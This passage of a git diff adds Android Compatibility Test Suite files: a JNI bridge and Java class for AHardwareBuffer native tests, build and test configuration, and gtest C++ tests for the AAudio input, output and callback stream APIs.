+#include "AHardwareBufferTest.h"
+#define TAG "AHardwareBufferTest"
+#include "NativeTestHelper.h"
+
+namespace {
+
+using android::AHardwareBufferTest;
+
+#define RETURN_ON_EXCEPTION() do { if (env->ExceptionCheck()) { return; } } while(false)
+
+jlong setUp(JNIEnv*, jclass) {
+    AHardwareBufferTest* test = new AHardwareBufferTest();
+    if (test != nullptr) {
+        test->SetUp();
+    }
+    return reinterpret_cast<jlong>(test);
+}
+
+void tearDown(JNIEnv*, jclass, jlong instance) {
+    delete reinterpret_cast<AHardwareBufferTest*>(instance);
+}
+
+void test(JNIEnv* env, jclass, jlong instance, jboolean vrHighPerformanceSupported) {
+    AHardwareBufferTest *test = reinterpret_cast<AHardwareBufferTest*>(instance);
+    ASSERT_NOT_NULL(test);
+
+    ALOGI("testAHardwareBuffer_allocate_FailsWithNullInput");
+    test->testAHardwareBuffer_allocate_FailsWithNullInput(env);
+    RETURN_ON_EXCEPTION();
+
+    ALOGI("testAHardwareBuffer_allocate_BlobFormatRequiresHeight1");
+    test->testAHardwareBuffer_allocate_BlobFormatRequiresHeight1(env);
+    RETURN_ON_EXCEPTION();
+
+    ALOGI("testAHardwareBuffer_allocate_Succeeds");
+    test->testAHardwareBuffer_allocate_Succeeds(env);
+    RETURN_ON_EXCEPTION();
+
+    ALOGI("testAHardwareBuffer_describe_Succeeds");
+    test->testAHardwareBuffer_describe_Succeeds(env);
+    RETURN_ON_EXCEPTION();
+
+    ALOGI("testAHardwareBuffer_SendAndRecv_Succeeds");
+    test->testAHardwareBuffer_SendAndRecv_Succeeds(env);
+    RETURN_ON_EXCEPTION();
+
+    ALOGI("testAHardwareBuffer_Lock_and_Unlock_Succeed");
+    test->testAHardwareBuffer_Lock_and_Unlock_Succeed(env);
+    RETURN_ON_EXCEPTION();
+
+    if (vrHighPerformanceSupported == JNI_TRUE) {
+        ALOGI("testAHardwareBuffer_Lock_and_Unlock_Succeed");
+        test->testAHardwareBufferSupportsLayeredBuffersForVr(env);
+        RETURN_ON_EXCEPTION();
+    }
+}
+
+JNINativeMethod gMethods[] = {
+    {"nativeSetUp", "()J", (void *)setUp},
+    {"nativeTearDown", "(J)V", (void *)tearDown},
+    {"nativeTest", "(JZ)V", (void *)test},
+};
+
+} // namespace
+
+int register_android_hardware_cts_AHardwareBufferNativeTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/hardware/cts/AHardwareBufferNativeTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
new file mode 100644
index 0000000..94b25fb
--- /dev/null
+++ b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+/**
+ * Check AHardwareBuffer functionality.
+ *
+ * This is the place to implement AHardwareBuffer NDK CTS tests.
+ */
+public class AHardwareBufferNativeTest extends AndroidTestCase {
+    protected native long nativeSetUp();
+    protected native void nativeTearDown(long instance);
+    private native void nativeTest(long instance, boolean vrHighPerformanceSupported);
+    private long mNativeInstance;
+
+    static {
+        System.loadLibrary("cts-nativehardware-ndk-jni");
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mNativeInstance = nativeSetUp();
+        assertTrue("create native instance failed", mNativeInstance != 0);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        nativeTearDown(mNativeInstance);
+    }
+
+    public void testNative() throws AssertionError {
+        PackageManager pm = getContext().getPackageManager();
+        nativeTest(mNativeInstance, pm.hasSystemFeature(
+                PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE));
+    }
+}
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
new file mode 100644
index 0000000..f1fc7fd
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -0,0 +1,50 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsNativeMediaAAudioTestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SRC_FILES := \
+    src/test_aaudio.cpp \
+    src/test_aaudio_misc.cpp \
+    src/test_aaudio_callback.cpp \
+    src/test_aaudio_stream_builder.cpp \
+    src/utils.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+    libaaudio \
+    liblog \
+
+LOCAL_STATIC_LIBRARIES := \
+    libgtest_ndk_c++ \
+
+LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
new file mode 100644
index 0000000..4c09ca4
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Media AAudio test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeMediaAAudioTestCases->/data/local/tmp/CtsNativeMediaAAudioTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeMediaAAudioTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
new file mode 100644
index 0000000..275a6d3
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
@@ -0,0 +1,325 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "AAudioTest"
+
+#include <memory>
+#include <tuple>
+
+#include <unistd.h>
+
+#include <aaudio/AAudio.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "test_aaudio.h"
+#include "utils.h"
+
+using StreamTestParams = std::tuple<aaudio_sharing_mode_t, aaudio_performance_mode_t>;
+enum {
+    PARAM_SHARING_MODE = 0,
+    PARAM_PERF_MODE
+};
+
+static std::string getTestName(const ::testing::TestParamInfo<StreamTestParams>& info) {
+    return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
+            "__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
+}
+
+template<typename T>
+class AAudioStreamTest : public ::testing::TestWithParam<StreamTestParams> {
+  protected:
+    AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+    AAudioStream* stream() const { return mHelper->stream(); }
+    const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+    int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
+
+    std::unique_ptr<T> mHelper;
+    bool mSetupSuccesful = false;
+    std::unique_ptr<int16_t[]> mData;
+};
+
+
+class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+
+    int32_t mFramesPerRead;
+};
+
+void AAudioInputStreamTest::SetUp() {
+    mHelper.reset(new InputStreamBuilderHelper(
+                    std::get<PARAM_SHARING_MODE>(GetParam()),
+                    std::get<PARAM_PERF_MODE>(GetParam())));
+    mHelper->initBuilder();
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+    if (!mSetupSuccesful) return;
+
+    mFramesPerRead = framesPerBurst();
+    const int32_t framesPerMsec = actual().sampleRate / MILLIS_PER_SECOND;
+    // Some DMA might use very short bursts of 16 frames. We don't need to read such small
+    // buffers. But it helps to use a multiple of the burst size for predictable scheduling.
+    while (mFramesPerRead < framesPerMsec) {
+        mFramesPerRead *= 2;
+    }
+    mData.reset(new int16_t[mFramesPerRead * actual().channelCount]);
+}
+
+TEST_P(AAudioInputStreamTest, testReading) {
+    if (!mSetupSuccesful) return;
+
+    const int32_t framesToRecord = actual().sampleRate;  // 1 second
+    EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
+    EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
+    mHelper->startStream();
+    // See b/62090113. For legacy path, the device is only known after
+    // the stream has been started.
+    ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), &mData[0], std::min(framesToRecord, mFramesPerRead),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+        framesLeft -= result;
+    }
+    mHelper->stopStream();
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
+    EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
+    EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+}
+
+TEST_P(AAudioInputStreamTest, testStartReadStop) {
+    if (!mSetupSuccesful) return;
+
+    // Use 1/8 second as start-stops take a lot more time than just recording.
+    const int32_t framesToRecord = actual().sampleRate / 8;
+    EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
+    EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
+    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
+        mHelper->startStream();
+        aaudio_result_t result = AAudioStream_read(
+                stream(), &mData[0], std::min(framesToRecord, mFramesPerRead),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+        framesLeft -= result;
+        mHelper->stopStream();
+    }
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
+    EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
+}
+
+TEST_P(AAudioInputStreamTest, testReadCounterFreezeAfterStop) {
+    if (!mSetupSuccesful) return;
+
+    const int32_t framesToRecord = actual().sampleRate / 10;  // 1/10 second
+    EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
+    EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
+    mHelper->startStream();
+    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), &mData[0], std::min(framesToRecord, mFramesPerRead),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+        framesLeft -= result;
+    }
+    mHelper->stopStream();
+    const int32_t framesReadAtStop = AAudioStream_getFramesRead(stream());
+    const int32_t framesWrittenAtStop = AAudioStream_getFramesWritten(stream());
+    ASSERT_EQ(0, TEMP_FAILURE_RETRY(usleep(100 * MICROS_PER_MILLISECOND)));
+    EXPECT_EQ(framesReadAtStop, AAudioStream_getFramesRead(stream()));
+    EXPECT_EQ(framesWrittenAtStop, AAudioStream_getFramesWritten(stream()));
+}
+
+TEST_P(AAudioInputStreamTest, testPauseAndFlushNotSupported) {
+    if (!mSetupSuccesful) return;
+    mHelper->startStream();
+    EXPECT_EQ(AAUDIO_ERROR_UNIMPLEMENTED, AAudioStream_requestPause(stream()));
+    EXPECT_EQ(AAUDIO_ERROR_UNIMPLEMENTED, AAudioStream_requestFlush(stream()));
+    mHelper->stopStream();
+}
+
+INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
+        ::testing::Values(
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_PERFORMANCE_MODE_NONE),
+                // Recording in POWER_SAVING mode isn't supported, b/62291775.
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY),
+                std::make_tuple(AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_NONE),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_POWER_SAVING),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY)),
+        &getTestName);
+
+
+class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+};
+
+void AAudioOutputStreamTest::SetUp() {
+    mHelper.reset(new OutputStreamBuilderHelper(
+                    std::get<PARAM_SHARING_MODE>(GetParam()),
+                    std::get<PARAM_PERF_MODE>(GetParam())));
+    mHelper->initBuilder();
+
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+    if (!mSetupSuccesful) return;
+
+    // Allocate a buffer for the audio data.
+    // TODO handle possibility of other data formats
+    size_t dataSizeSamples = framesPerBurst() * actual().channelCount;
+    mData.reset(new int16_t[dataSizeSamples]);
+    memset(&mData[0], 0, dataSizeSamples);
+}
+
+TEST_P(AAudioOutputStreamTest, testWriting) {
+    if (!mSetupSuccesful) return;
+
+    // Prime the buffer.
+    int32_t framesWritten = 0;
+    int64_t framesTotal = 0;
+    int64_t timeoutNanos = 0;
+    do {
+        framesWritten = AAudioStream_write(
+                stream(), &mData[0], framesPerBurst(), timeoutNanos);
+        // There should be some room for priming the buffer.
+        framesTotal += framesWritten;
+        ASSERT_GE(framesWritten, 0);
+        ASSERT_LE(framesWritten, framesPerBurst());
+    } while (framesWritten > 0);
+    ASSERT_TRUE(framesTotal > 0);
+
+    int writeLoops = 0;
+    int64_t aaudioFramesRead = 0;
+    int64_t aaudioFramesReadPrev = 0;
+    int64_t aaudioFramesReadFinal = 0;
+    int64_t aaudioFramesWritten = 0;
+    // Start/write/pause more than once to see if it fails after the first time.
+    // Write some data and measure the rate to see if the timing is OK.
+    for (int numLoops = 0; numLoops < 2; numLoops++) {
+        mHelper->startStream();
+        // See b/62090113. For legacy path, the device is only known after
+        // the stream has been started.
+        ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+
+        // Write some data while we are running. Read counter should be advancing.
+        writeLoops = 1 * actual().sampleRate / framesPerBurst(); // 1 second
+        ASSERT_LT(2, writeLoops); // detect absurdly high framesPerBurst
+        timeoutNanos = 100 * (NANOS_PER_SECOND * framesPerBurst() /
+                actual().sampleRate); // N bursts
+        framesWritten = 1;
+        aaudioFramesRead = AAudioStream_getFramesRead(stream());
+        aaudioFramesReadPrev = aaudioFramesRead;
+        int64_t beginTime = getNanoseconds(CLOCK_MONOTONIC);
+        do {
+            framesWritten = AAudioStream_write(
+                    stream(), &mData[0], framesPerBurst(), timeoutNanos);
+            EXPECT_EQ(framesPerBurst(), framesWritten);
+
+            framesTotal += framesWritten;
+            aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
+            EXPECT_EQ(framesTotal, aaudioFramesWritten);
+
+            // Try to get a more accurate measure of the sample rate.
+            if (beginTime == 0) {
+                aaudioFramesRead = AAudioStream_getFramesRead(stream());
+                if (aaudioFramesRead > aaudioFramesReadPrev) { // is read pointer advancing
+                    beginTime = getNanoseconds(CLOCK_MONOTONIC);
+                    aaudioFramesReadPrev = aaudioFramesRead;
+                }
+            }
+        } while (framesWritten > 0 && writeLoops-- > 0);
+
+        aaudioFramesReadFinal = AAudioStream_getFramesRead(stream());
+        ASSERT_GT(aaudioFramesReadFinal, 0);
+        EXPECT_GT(aaudioFramesReadFinal, aaudioFramesReadPrev);
+
+
+        // TODO why is AudioTrack path so inaccurate?
+        /* See b/38268547, there is no way to specify that MMAP mode needs to be used,
+           even EXCLUSIVE mode may fall back to legacy
+        const int64_t endTime = getNanoseconds(CLOCK_MONOTONIC);
+        const double rateTolerance = 200.0; // arbitrary tolerance for sample rate
+        if (std::get<PARAM_SHARING_MODE>(GetParam()) != AAUDIO_SHARING_MODE_SHARED) {
+            // Calculate approximate sample rate and compare with stream rate.
+            double seconds = (endTime - beginTime) / (double) NANOS_PER_SECOND;
+            double measuredRate = (aaudioFramesReadFinal - aaudioFramesReadPrev) / seconds;
+            ASSERT_NEAR(actual().sampleRate, measuredRate, rateTolerance);
+        }
+        */
+
+        mHelper->pauseStream();
+    }
+    EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+
+    // Make sure the read counter is not advancing when we are paused.
+    aaudioFramesRead = AAudioStream_getFramesRead(stream());
+    ASSERT_GE(aaudioFramesRead, aaudioFramesReadFinal); // monotonic increase
+    // Currently not possible to enforce for AAudio over AudioTrack (b/33354715).
+    // ASSERT_EQ(0, TEMP_FAILURE_RETRY(usleep(100 * MICROS_PER_MILLISECOND)));
+    // EXPECT_EQ(aaudioFramesRead, AAudioStream_getFramesRead(stream()));
+
+    // ------------------- TEST FLUSH -----------------
+    // Prime the buffer.
+    timeoutNanos = 0;
+    writeLoops = 1000;
+    do {
+        framesWritten = AAudioStream_write(
+                stream(), &mData[0], framesPerBurst(), timeoutNanos);
+        framesTotal += framesWritten;
+    } while (framesWritten > 0 && writeLoops-- > 0);
+    EXPECT_EQ(0, framesWritten);
+
+    mHelper->flushStream();
+
+    // After a flush, the read counter should be caught up with the write counter.
+    aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
+    EXPECT_EQ(framesTotal, aaudioFramesWritten);
+    aaudioFramesRead = AAudioStream_getFramesRead(stream());
+    EXPECT_EQ(aaudioFramesWritten, aaudioFramesRead);
+
+    sleep(1); // FIXME - The write returns 0 if we remove this sleep! Why?
+
+    // The buffer should be empty after a flush so we should be able to write.
+    framesWritten = AAudioStream_write(stream(), &mData[0], framesPerBurst(), timeoutNanos);
+    // There should be some room for priming the buffer.
+    ASSERT_GT(framesWritten, 0);
+    ASSERT_LE(framesWritten, framesPerBurst());
+}
+
+// Note that the test for EXCLUSIVE sharing mode may fail gracefully if
+// this mode isn't supported by the platform.
+INSTANTIATE_TEST_CASE_P(SPM, AAudioOutputStreamTest,
+        ::testing::Values(
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_PERFORMANCE_MODE_NONE),
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_PERFORMANCE_MODE_POWER_SAVING),
+                // No test for SHARED / LOW_LATENCY, see b/62101041
+                std::make_tuple(AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_NONE),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_POWER_SAVING),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY)),
+        &getTestName);
+
+
+int main(int argc, char **argv) {
+    testing::InitGoogleTest(&argc, argv);
+
+    return RUN_ALL_TESTS();
+}
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.h b/tests/tests/nativemedia/aaudio/src/test_aaudio.h
new file mode 100644
index 0000000..d97ffc0
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef CTS_MEDIA_TEST_AAUDIO_H
+#define CTS_MEDIA_TEST_AAUDIO_H
+
+#define NANOS_PER_MICROSECOND  ((int64_t)1000)
+#define NANOS_PER_MILLISECOND  (NANOS_PER_MICROSECOND * 1000)
+#define MICROS_PER_MILLISECOND 1000
+#define MILLIS_PER_SECOND      1000
+#define NANOS_PER_SECOND       (NANOS_PER_MILLISECOND * MILLIS_PER_SECOND)
+
+#define DEFAULT_STATE_TIMEOUT  (500 * NANOS_PER_MILLISECOND)
+#define DEFAULT_READ_TIMEOUT   (300 * NANOS_PER_MILLISECOND)
+
+#endif //CTS_MEDIA_TEST_AAUDIO_H
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
new file mode 100644
index 0000000..670c077
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
@@ -0,0 +1,329 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "AAudioTest"
+
+#include <atomic>
+#include <tuple>
+
+#include <aaudio/AAudio.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "test_aaudio.h"
+#include "utils.h"
+
+static int32_t measureLatency(AAudioStream *stream) {
+    int64_t presentationTime = 0;
+    int64_t presentationPosition = 0;
+    int64_t now = getNanoseconds();
+    int32_t sampleRate = AAudioStream_getSampleRate(stream);
+    int64_t framesWritten = AAudioStream_getFramesWritten(stream);
+    aaudio_result_t result = AAudioStream_getTimestamp(stream,
+                                                       CLOCK_MONOTONIC,
+                                                       &presentationPosition,
+                                                       &presentationTime);
+    if (result < 0) {
+        return result;
+    }
+    // Calculate when the last frame written would be played.
+    int64_t deltaFrames = framesWritten - presentationPosition;
+    if (deltaFrames < 0) {
+        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Underrun detected: %lld frames",
+                (long long)(-deltaFrames));
+        return 0;
+    }
+    int64_t calculatedDeltaNanos = deltaFrames * NANOS_PER_SECOND / sampleRate;
+    int64_t calculatedTimeNanos = presentationTime +  calculatedDeltaNanos;
+    int64_t latencyNanos = calculatedTimeNanos - now;
+    int32_t latencyMillis = (int32_t) ((latencyNanos + NANOS_PER_MILLISECOND - 1)
+                            / NANOS_PER_MILLISECOND);
+    return latencyMillis;
+}
+
+using CbTestParams = std::tuple<aaudio_sharing_mode_t, int32_t, aaudio_performance_mode_t>;
+enum {
+    PARAM_SHARING_MODE = 0,
+    PARAM_FRAMES_PER_CB,
+    PARAM_PERF_MODE
+};
+
+static std::string getTestName(const ::testing::TestParamInfo<CbTestParams>& info) {
+    return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
+            "__" + std::to_string(std::get<PARAM_FRAMES_PER_CB>(info.param)) +
+            "__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
+}
+
+template<typename T>
+class AAudioStreamCallbackTest : public ::testing::TestWithParam<CbTestParams> {
+  protected:
+    struct AAudioCallbackTestData {
+        int32_t expectedFramesPerCallback;
+        int32_t actualFramesPerCallback;
+        int32_t minLatency;
+        int32_t maxLatency;
+        std::atomic<aaudio_result_t> callbackError;
+        std::atomic<int32_t> callbackCount;
+
+        AAudioCallbackTestData() {
+            reset(0);
+        }
+        void reset(int32_t expectedFramesPerCb) {
+            expectedFramesPerCallback = expectedFramesPerCb;
+            actualFramesPerCallback = 0;
+            minLatency = INT32_MAX;
+            maxLatency = 0;
+            callbackError = AAUDIO_OK;
+            callbackCount = 0;
+        }
+        void updateFrameCount(int32_t numFrames) {
+            if (numFrames != expectedFramesPerCallback) {
+                // record unexpected framecounts
+                actualFramesPerCallback = numFrames;
+            } else if (actualFramesPerCallback == 0) {
+                // record at least one frame count
+                actualFramesPerCallback = numFrames;
+            }
+        }
+        void updateLatency(int32_t latency) {
+            if (latency <= 0) return;
+            minLatency = std::min(minLatency, latency);
+            maxLatency = std::max(maxLatency, latency);
+        }
+    };
+
+    static void MyErrorCallbackProc(AAudioStream *stream, void *userData, aaudio_result_t error);
+
+    AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+    AAudioStream* stream() const { return mHelper->stream(); }
+    const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+
+    std::unique_ptr<T> mHelper;
+    bool mSetupSuccesful = false;
+    std::unique_ptr<AAudioCallbackTestData> mCbData;
+};
+
+template<typename T>
+void AAudioStreamCallbackTest<T>::MyErrorCallbackProc(
+        AAudioStream* /*stream*/, void *userData, aaudio_result_t error) {
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->callbackError = error;
+}
+
+
+class AAudioInputStreamCallbackTest : public AAudioStreamCallbackTest<InputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+
+    static aaudio_data_callback_result_t MyDataCallbackProc(
+            AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+aaudio_data_callback_result_t AAudioInputStreamCallbackTest::MyDataCallbackProc(
+        AAudioStream* /*stream*/, void *userData, void* /*audioData*/, int32_t numFrames) {
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->updateFrameCount(numFrames);
+    // No latency measurement as there is no API for querying capture position.
+    myData->callbackCount++;
+    return AAUDIO_CALLBACK_RESULT_CONTINUE;
+}
+
+void AAudioInputStreamCallbackTest::SetUp() {
+    mHelper.reset(new InputStreamBuilderHelper(
+                    std::get<PARAM_SHARING_MODE>(GetParam()),
+                    std::get<PARAM_PERF_MODE>(GetParam())));
+    mHelper->initBuilder();
+
+    int32_t framesPerDataCallback = std::get<PARAM_FRAMES_PER_CB>(GetParam());
+    mCbData.reset(new AAudioCallbackTestData());
+    AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+    AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
+    }
+
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Reading from an AAudioStream using a Callback
+TEST_P(AAudioInputStreamCallbackTest, testRecording) {
+    if (!mSetupSuccesful) return;
+
+    const int32_t framesPerDataCallback = std::get<PARAM_FRAMES_PER_CB>(GetParam());
+    const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
+    }
+
+    mCbData->reset(actualFramesPerDataCallback);
+
+    mHelper->startStream();
+    // See b/62090113. For legacy path, the device is only known after
+    // the stream has been started.
+    EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+    sleep(2); // let the stream run
+
+    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+    ASSERT_GT(mCbData->callbackCount, 10);
+
+    mHelper->stopStream();
+
+    int32_t oldCallbackCount = mCbData->callbackCount;
+    EXPECT_GT(oldCallbackCount, 10);
+    sleep(1);
+    EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
